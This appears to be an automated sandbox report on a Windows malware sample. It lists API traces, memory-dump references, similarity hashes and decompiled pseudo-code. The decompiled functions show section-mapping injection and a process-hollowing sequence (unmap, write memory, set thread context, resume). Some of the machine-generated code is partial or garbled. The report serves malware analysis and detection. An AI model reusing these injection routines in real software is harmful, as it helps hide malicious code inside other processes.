0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction ID: 9d9f292dd7e40d4d2d6115b75542e29ae97a3c703512c5fffb38717ec82669a3
Opcode Fuzzy Hash: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction Fuzzy Hash: 36511A75900249BFEB209F91CC48FAF7BB8FF85B14F10416AFA11BA1A5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040159A Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040159A() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				intOrPtr* _t204;
				void* _t209;

				_push(0x83);
				L004011F5(_t175, _t209);
				_t127 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L61;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t204;
				_push(0x83);
				L004011F5(_t176, _t230);
				return _t90;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction ID: 1cd82c906aaffff485458f801d6ba595cb0416390f7e33d4f9d681d8d529f326
Opcode Fuzzy Hash: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction Fuzzy Hash: BF510971900249BFEB209F92CC48F9FBBB8FF85B14F104159FA11AA2A5D6749940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401749 Relevance: 3.0, APIs: 2, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction ID: 088a864a315bec2a81033f27f4cad91d314b4a72151043dcf738e9c9ac7e5ebb
Opcode Fuzzy Hash: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction Fuzzy Hash: 0E011475500288FEEB219F92CC49FAF7FB9EF82B10F08016AF510B61E5E2714980CB20

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA70 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 530
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000,022E0AB4,?,?,?,?,?,?,00413246,000000FF), ref: 0040EC96
_memset.LIBCMT ref: 0040EE95
LoadLibraryA.KERNELBASE(0043D428,?,?,?,?,?,?,00413246,000000FF), ref: 0040F10D

Strings

L3@, xrefs: 0040EC06

Memory Dump Source

Source File: 00000004.00000002.631465651.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_409000_uehwfht.jbxd

Similarity

API ID: AllocLibraryLoadLocal_memset
String ID: L3@
API String ID: 3001991562-74877206
Opcode ID: fea17e0d53bf8326cf4c4db57c51538e15656406bc24cff08d96881d25b6ead8
Instruction ID: 0eaa35ac26c0d80a39b15cea88af3a4236a75f1710b70a6748c37583a846ac45
Opcode Fuzzy Hash: fea17e0d53bf8326cf4c4db57c51538e15656406bc24cff08d96881d25b6ead8
Instruction Fuzzy Hash: 1912D571644344AFE320AFA1DD4AF5B77A8FB48B05F00453DF789BA1E1DBB464408B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6F0 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(022D6A5C,022E0AB4,00000040,?,?,0040F078,?,?,?,?,?,?,00413246,000000FF), ref: 0040E7C0

Memory Dump Source

Source File: 00000004.00000002.631465651.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_409000_uehwfht.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4333c27d3fbe3fb244fef1186cf99c6ff5bcc2c5993db6bb758eddfac48b1952
Instruction ID: 47170fcec61f9d40c45f0354b96078882a57e6b5b54f6f0e711edbe86e94cb95
Opcode Fuzzy Hash: 4333c27d3fbe3fb244fef1186cf99c6ff5bcc2c5993db6bb758eddfac48b1952
Instruction Fuzzy Hash: 0F113371D95241CED300CFE4F948B223B75EB68700F10A42DE195C77A4D7B954A4CB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 65
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00401932(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				void* __esi;
				void* _t10;
				void* _t12;
				intOrPtr* _t14;
				void* _t19;
				void* _t20;

				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, __eflags);
				_t14 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				_t10 = L00401467(_t19, _t20); // executed
				_t26 = _t10;
				if(_t10 != 0) {
					E00401558(_t14, _t10, _v8, _a16); // executed
				}
				 *_t14(0xffffffff, 0);
				_t12 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t26);
				return _t12;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction ID: f289286abcb0c8361d5bc883c0512fb430ce21eb2a0d87beead029bdd4c1ea53
Opcode Fuzzy Hash: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction Fuzzy Hash: 6C11C2F1208204F7E7006A959D62E7A3669AB01714F304137BA43790F1D57D9913E76F

Uniqueness

Uniqueness Score: -1.00%

Function 0040193D Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E0040193D(void* __eax, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t14;
				void* _t16;
				intOrPtr* _t18;
				void* _t30;
				signed int _t38;

				_t26 = __edi;
				asm("in eax, 0x45");
				_t2 = __eax - 0x7a;
				 *_t2 =  *(__eax - 0x7a) | __ecx;
				_t38 =  *_t2;
				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(__edi, _t38);
				_t18 =  *((intOrPtr*)(_t30 + 8));
				Sleep(0x1388);
				_push(_t30 - 4);
				_push( *((intOrPtr*)(_t30 + 0x10)));
				_push( *((intOrPtr*)(_t30 + 0xc)));
				_push(_t18); // executed
				_t14 = L00401467(__edi, __esi); // executed
				_t39 = _t14;
				if(_t14 != 0) {
					E00401558(_t18, _t14,  *((intOrPtr*)(_t30 - 4)),  *((intOrPtr*)(_t30 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t16 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t26, _t39);
				return _t16;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction ID: 515f5f5985279033342f6d13e0d75d2e799464d7355665022411b06cc3c0c42c
Opcode Fuzzy Hash: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction Fuzzy Hash: 991129F2608285EBD7005BA18DA2EA937659F01710F20057BF6037E0F2D53D9513EB1B

Uniqueness

Uniqueness Score: -1.00%

Function 0040196C Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0040196C(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t9;
				void* _t11;
				intOrPtr* _t13;
				void* _t23;

				_t19 = __edi;
				_pop(es);
				asm("sbb bh, [eax+ebp*2]");
				_push(0xc5);
				L004011F5(__edi, __eflags);
				_t13 =  *((intOrPtr*)(_t23 + 8));
				Sleep(0x1388);
				_push(_t23 - 4);
				_push( *((intOrPtr*)(_t23 + 0x10)));
				_push( *((intOrPtr*)(_t23 + 0xc)));
				_push(_t13); // executed
				_t9 = L00401467(__edi, __esi); // executed
				_t29 = _t9;
				if(_t9 != 0) {
					E00401558(_t13, _t9,  *((intOrPtr*)(_t23 - 4)),  *((intOrPtr*)(_t23 + 0x14))); // executed
				}
				 *_t13(0xffffffff, 0);
				_t11 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t29);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction ID: 3e47f40c2c79a3419effdd93610d16f961f2ccd470e9348de27537ec9d0296a5
Opcode Fuzzy Hash: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction Fuzzy Hash: CA01F2B2208244EFCB005BE58CA1EAA3765AB05315F300133F603B90F2C93C8512EB6B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040FEA4 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040FECA

Part of subcall function 0040FCF6: __fltout2.LIBCMT ref: 0040FD21

__cftog_l.LIBCMT ref: 0040FEF0
__cftoe_l.LIBCMT ref: 0040FF22

Memory Dump Source

Source File: 00000004.00000002.631465651.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_409000_uehwfht.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 21dec4cf196e8d3a75056bdaf36ad97ed8be340911ea432b545e5ad1cb732c00
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 00117E3300014EBBCF225E85DC01CEE3F22BB59354F188436FA1869971C73AC9B9AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004097A3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004097D5

Part of subcall function 00409101: __getptd_noexit.LIBCMT ref: 00409104

__getptd.LIBCMT ref: 004097E3
__getptd.LIBCMT ref: 004097F1
__getptd.LIBCMT ref: 004097FC

Part of subcall function 004098C9: __getptd.LIBCMT ref: 004098D8
Part of subcall function 004098C9: __getptd.LIBCMT ref: 004098E6

Memory Dump Source

Source File: 00000004.00000002.631465651.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_409000_uehwfht.jbxd

Similarity

API ID: __getptd$__getptd_noexit
String ID:
API String ID: 989085358-0
Opcode ID: 88ff4ae8ad139f6cf891c398988e30e45730a6c768ec8ce72122bb6a955ccad6
Instruction ID: a3a858591b394101024f9bae808b1775020d1581c8466258f4f8275c37b29c86
Opcode Fuzzy Hash: 88ff4ae8ad139f6cf891c398988e30e45730a6c768ec8ce72122bb6a955ccad6
Instruction Fuzzy Hash: 23110A71D00209EFDB00EFA5D845AAE7BB0FF04318F10846AF814AB292DB7D99159F54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AAD0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040AADC

Part of subcall function 00409101: __getptd_noexit.LIBCMT ref: 00409104

__getptd.LIBCMT ref: 0040AAF3
__lock.LIBCMT ref: 0040AB11
__updatetlocinfoEx_nolock.LIBCMT ref: 0040AB25

Memory Dump Source

Source File: 00000004.00000002.631465651.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_409000_uehwfht.jbxd

Similarity

API ID: __getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 1314619503-0
Opcode ID: 07e8029e51f5a19f80c856b6c46ab3295c6cf05eb32ae71829c0fb4d131a8133
Instruction ID: a52b9318068f80dff3845aa1089be6ff0d2d17eda390060aa090471aa132d8b8
Opcode Fuzzy Hash: 07e8029e51f5a19f80c856b6c46ab3295c6cf05eb32ae71829c0fb4d131a8133
Instruction Fuzzy Hash: FEF06232B04710AAE721BB759806B5972A06B00728F11413FF5117B2D2CA7D6961DA5F

Uniqueness

Uniqueness Score: -1.00%

Function 004098C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004098D8

Part of subcall function 00409101: __getptd_noexit.LIBCMT ref: 00409104

__getptd.LIBCMT ref: 004098E6

Strings

csm, xrefs: 004098F4

Memory Dump Source

Source File: 00000004.00000002.631465651.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_409000_uehwfht.jbxd

Similarity

API ID: __getptd$__getptd_noexit
String ID: csm
API String ID: 989085358-1018135373
Opcode ID: 2bcf526534d84440a1d74fd0b089d06bbe8278e6a2fb0f241b80fc6935665840
Instruction ID: 589554cbe101abdec6479dd06ff32a3fe8de771eaf826da5da891be04775fa4a
Opcode Fuzzy Hash: 2bcf526534d84440a1d74fd0b089d06bbe8278e6a2fb0f241b80fc6935665840
Instruction Fuzzy Hash: 110178718062059BCF349FA1C4446AEB3B5AF10314F64843FE481BA7E2CB399D90CA18

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D5C1.exePID: 6912, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	85.7%
Signature Coverage:	35.7%
Total number of Nodes:	42
Total number of Limit Nodes:	8

Executed Functions

Function 04100110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04100156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0410016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04100255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04100270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04100283
GetThreadContext.KERNELBASE(00000000,?), ref: 0410029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 041002C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 041002E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04100304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0410032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04100399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 041003BF
SetThreadContext.KERNELBASE(00000000,?), ref: 041003E1
ResumeThread.KERNELBASE(00000000), ref: 041003ED
ExitProcess.KERNEL32(00000000), ref: 04100412

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 8e7ef5de527bdf4e7eb8fefefc6a74f4f99f5a360118af150c8bd5fd8cd8fecc
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 95B1C674A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04100420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04100533

Strings

0, xrefs: 04100492
saodkfnosa9uin, xrefs: 041004DA
mfoaskdfnoa, xrefs: 04100520, 04100523
d, xrefs: 04100584

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: d9d3190651adfd2379411412fbdc9ed34cd3ee6f89c99823c62f2ea0314f3fbd
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 8A510970D08388DAEB11CB98D849BDDBFB26F16708F144098D5446F2C6C7FAA658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 041005B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 041005EC

Strings

apfHQ, xrefs: 041005E2, 041005E5
o, xrefs: 04100600

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c23d22d145c34819d085fca602b037a59299021b65d6b26608ed58f815c2c6ec
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 1F011E70C0424CEADB14DB98D5583EEBFB5AF45308F1880D9C4092B282D7B69B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 040387C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 040387EE
Module32First.KERNEL32(00000000,00000224), ref: 0403880E

Memory Dump Source

Source File: 00000005.00000002.628268073.0000000004038000.00000040.00000020.00020000.00000000.sdmp, Offset: 04038000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4038000_D5C1.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1add66ec1b355f00679ccbfa7aa353520f110b7bcb7a843dfb51ca94cc4d60ff
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 54F062322007106BD7203FB5A88DA6ABAEDAF49766F1045A8F642A14C0DA70F8454661

Uniqueness

Uniqueness Score: -1.00%

Function 04038485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 040384D6

Memory Dump Source

Source File: 00000005.00000002.628268073.0000000004038000.00000040.00000020.00020000.00000000.sdmp, Offset: 04038000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4038000_D5C1.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 9d2911e9bbbbeca50718620356316dfcaf75661c154c10ce35b74b462cce9411
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 85112B79A00208EFDB01DF98C985E99BFF5AF08351F058094F948AB361D371EA90DB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0403971C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.628268073.0000000004038000.00000040.00000020.00020000.00000000.sdmp, Offset: 04038000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4038000_D5C1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
